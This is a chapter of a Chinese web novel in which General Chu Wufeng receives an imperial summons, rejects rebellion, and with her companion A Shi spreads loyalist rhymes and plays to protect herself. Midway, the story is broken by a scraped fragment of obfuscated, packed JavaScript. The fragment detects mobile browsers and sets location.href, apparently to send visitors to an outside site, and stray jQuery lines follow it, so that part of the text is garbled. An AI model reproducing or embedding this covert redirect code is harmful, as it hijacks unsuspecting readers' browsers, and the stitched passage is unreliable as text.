数日过去，在秘密调养下，楚无锋坠崖落水时受的伤已然好了大半，精神也恢复了许多；终于，她不必在众人面前用铠甲、披风来遮掩伤痕了。


    某日正午时分，一飞骑风尘仆仆地赶来。使者下马后通报说，有诏书送来，请楚无锋带着其它将领出来接旨。


    楚无锋心中隐隐不安，但还是按例带着副将，前往营前接旨。


    传旨使者朗声念道：


    【奉天承运皇帝诏曰：


    昔日贼寨作乱，朕命汝领兵入山，讨剿匪患。时至今日，闻汝已破其守军，余寇潜藏，地方暂得安宁，近日已无匪徒下山、为非作歹。


    然情势险恶，两任督军俱亡，朕甚为痛惜，亦深知汝孤军奋战，功劳卓著。


    大局初定，剿匪之事可暂且交由新任统领，以压制探查为主，静待清剿之机。汝可携副将回朝述职，以图后策。


    特召汝即日赴京，面授嘉勉，共议战略；百官将备礼相迎，以褒忠勇之臣。


    钦此。】


    楚无锋深吸一口气，接过诏书，低头谢了恩。


    副将对这几日的凶险并不知情，一下乐开了花：“哈哈……将军，你我终于能回京城了！我母亲腿脚不好，我已多年未能奉养陪伴……”


    楚无锋只笑着应了几句，又遣人安置了传旨使者。一切安排妥当后，她便以清点行囊为借口，回到了中军大帐。


    帘子一放下，她便如脱了全身力气般，坐倒在案前，额边渗出一片冷汗。


    她知道，此番旨意令她回京必然是凶多吉少，十有八九是死局。


    她独坐在营帐中，心绪翻涌，开始盘点眼下所有的可能和不可能。


    她在心中筹谋着：


    目前，她手中有铁甲军，虽然只有千数，但毕竟都是跟她从边关杀出来的老兵；


    凤栖寨可以联络，也算有交情，她们有兵力，还有一些物资；


    此处山势，易守难攻，只要封锁山口，再连同山寨布防，便如铁桶一般。


    她甚至起了更大的妄念：若能重夺边关旧部，调兵进山……


    有那么一瞬间，她想过……干脆反了。但理智很快叫她打住了这个念头。


    凤栖寨当真可靠吗？她们确实救了自己一命，可终究立场未明。她不敢保证，也不能保证。


    铁甲军会不会跟她赌命？这千余人是与她在边关出生入死不假，可是真让这些人抵上母父亲族，去随她反了，怕是也难。


    更何况，就算撑过这几日，这些人的粮草又该从何处来？朝中男皇帝派来更多兵力，又当如何应对？


    一旦开战，便是万劫不复；现在掀桌，显然不是一个明智的选择。


    她心中的念头逐渐清明：此刻，最希望她反的，恐怕正是那位男皇帝了。


    只要她起兵，便可名正言顺以“谋逆”之罪讨伐；如此，既不必再借凤栖寨之手打压她的军力，也无需再派遣督军暗下杀手。


    她若动了，反而是自投罗网，落入局中；可若不动，又该如何保全自己？


    无锋的胸口像是压了一块千钧巨石，喘不过气来。


    ------------------------------------------------------


    帐外的天光逐渐暗了下来。楚无锋仍然坐在案前，面前摊着那道诏书，一动不动。


    帘子被轻轻掀开，阿石端着食盒走了进来。她没说话，只默默将饭菜一一摆好在案前：两碗热腾腾的粟米饭，几样简单的小菜，还有一碗温热的羊汤。


    她略低着头，偷偷用余光观察着楚无锋。


    楚无锋依旧不动，也不言语；于是，阿石也在她对面坐了下来。


    她也不开口劝无锋，也不动筷，只看着她。汤碗中热气升腾，帐中静得出奇，只能听见帐外兵士们来回行走的脚步声、谈话声。


    终于，阿石轻声道：“你很久没吃东西了，会饿。”


    楚无锋怔了一下，摇摇头：“我不饿。阿石，你吃吧。”


    阿石语气仍旧平淡，但眼神很固执：“你不吃，我就不吃。”


    楚无锋无奈地笑了一下，心知拗不过她，只好缓缓拿起筷子，夹了一些清炒野菜送入口中，慢慢嚼了。


    阿石自己则端起碗喝了一口羊汤，又递给楚无锋：“趁热。”


    楚无锋接过来喝了少许，索然无味。她突然低声开口问道：“阿石，如果那天，我被杀了……”


    还没说完，阿石已经斩钉截铁地打断了她：“不会。”


    楚无锋愣住了：“为什么？”


    阿石扭头看着她：“因为你是楚无锋。”


    楚无锋握着筷子的手轻轻一顿。


    阿石又继续说：“何况，还有我。我的职责是保护你，谁要杀你，我自会先杀她。”


    楚无锋听了她的话，望着案上的饭菜怔愣许久。最后，她终于笑了，对阿石说：“好，我不会轻易死。”


    阿石不再回话了，她正专注于碗里的粟米饭，吃得很香。


    饭后，楚无锋清点着案上的文书卷。烛火跳跃，照亮一摞摞密密麻麻的军报、调令、书信。她仔细查阅着，包好需要留存的，而其余的则统统烧掉。


    突然，一张略显陈旧的纸页从夹缝中滑出，落在地上。


    她伸手拾起，只见那是一幅画像。纸张已经有些发黄，边角磨损，但内容却很清晰：描绘的是几位盛装女子，仪态端方；左上角用小楷题着她们的身份。


    楚无锋微微蹙眉，这是在京城中将军府居住的女眷们。


    这其中应当有她的母亲。但她认不出究竟是哪一位。她只知道，自己的母亲在生她时便因难产去世了；没有人愿意总提起那位早逝的女子，大家都默契地闭口不谈。


    自从记事起，她就被带出了京城将军府，在边关军营中随军队生活，与风沙为伴。是炊事营的嬷嬷们喂她米粥、教她生存之道，那些粗手粗脚的女人，比将军府里的亲眷更像她的家人。


    前任男将军，也就是她名义上的父亲，并未给予她多少疼惜照顾。他只是默许她在军营活下来，仅此而已。


    不过楚无锋一直觉得这样也好。没有那些繁复的规训、看似温情实则束缚的呵护，她得以在战场上磨砺出自己的爪牙：她能拿起刀剑，能骑马冲锋，不必按大虞对女人的期许活着。


    她靠天生的机灵、力量与坚韧，一点点赢得了前辈们的认可，在战场上搏出了一片天地，立下了功勋。


    后来，前将军战死。她顺理成章地受封镇国将军，得以短暂地重返京城；但也不过是每隔几年述职时，才回去在将军府落脚，短住数日。


    将军府的门户于她而言，仿佛只是个遥远的名号。若论感情，她与将军府中的人，实在算不得亲厚。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170717|179395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >但她仍握着那张画像，久久放不下。她在反复衡量那条险路的代价与结局。


    她喃喃自语着：“终究是我的亲人……若我真的起兵，怕是她们第一个遭殃。”


    她重新把那张画像夹回文书中。


    ------------------------------------------------------


    次日，楚无锋召集了自己亲自挑选的男亲兵十余人。


    她站在营帐前，看着这些肃立的身影，心中隐隐泛起一丝苦涩。她想念自己当年那支亲兵队里每个人的脸，那支只因为全是女人就被迫遣散的队伍。


    眼前这些人虽然表现尚可，也信得过，但终归是男子，总是在能力上有所欠缺。


    楚无锋快速分派了任务：


    两人乔装为车夫、马夫，随主队同行，负责暗中警戒刺客，并提前安排备用马匹、鞍具；


    三人扮作商贩，远远缀着归京车队，在附近游走，一旦发现异常便以暗号相报；


    再遣两人为前锋探子，另走捷径入京，先一步探查将军府状况与京中局势；


    两名亲兵则带上她的密信，昼夜兼程赶往边关旧部。信中提到了自己被召回京城，请求旧部暗中观望；


    剩余数人继续轮班守卫，随行护送车队。


    计划明日便出发。


    一切安排停当，无锋遣散了众人，令其各自收拾行囊去了。


    与此同时，阿石已经到了山下的村寨。她穿了一身粗布衣裳，提着竹篮，扮作村民的样子。


    一群小孩正蹲在地上敲石块玩儿。阿石凑过去，从口袋里摸出两枚铜板，碰了碰，声音清脆，引得孩子们纷纷转头。


    “你们谁最先背会这首歌，这些铜板就给谁。”


    “北风冷，铁甲寒，


    镇国将军守边关。


    不怕刀，不避箭，


    只愿皇恩护八方。”


    孩子们叽叽喳喳围过来，很快便重复着背起来。几个机灵的早早背完，扑上来讨铜板。阿石笑着分给她们，又拍拍一个大眼睛小姑娘的头：“谁要是能教会更多人，一会儿还有更多铜板。”


    孩子们欢呼着四散开去，转头便开始唱给妹妹弟弟听。


    童谣的曲调简单上口，不过半个时辰，便能听到巷子口、树荫下、溪边，都有孩童稚嫩的嗓音：“只愿皇恩护八方……”


    安排妥了村中童谣，阿石又转到了最热闹的茶楼。几位游走四方的说书先生正围坐着喝茶，谈论着近日朝局、各地趣闻。


    阿石走上前，抱拳作揖，将几本写好的戏文恭敬地放在桌上，又递上一袋沉甸甸的银子。


    “各位好，这是新写的戏本子，讲的是镇国将军楚无锋，如何奉旨征战、守卫边疆的故事。若您们愿意带着四处讲讲，银子自然不会少。”


    那些说书人翻了几页，觉得通俗顺口，而忠臣报国的戏码又受众颇广，便答应了下来。


    做完这一切，阿石又悄悄溜出了村子，沿着无人的山路返回军营。


    这些戏文与童谣，是她和楚无锋连夜准备的退路，或者说，“前路”：她们要为楚无锋立一个“忠臣牌坊”。庙堂之外，百姓之口无人能封；街谈巷议之中，也必将流传着“楚将军忠烈护国”的故事。


    若男皇帝真要动她，也需先掂一下这“牌坊”的分量有几斤几两。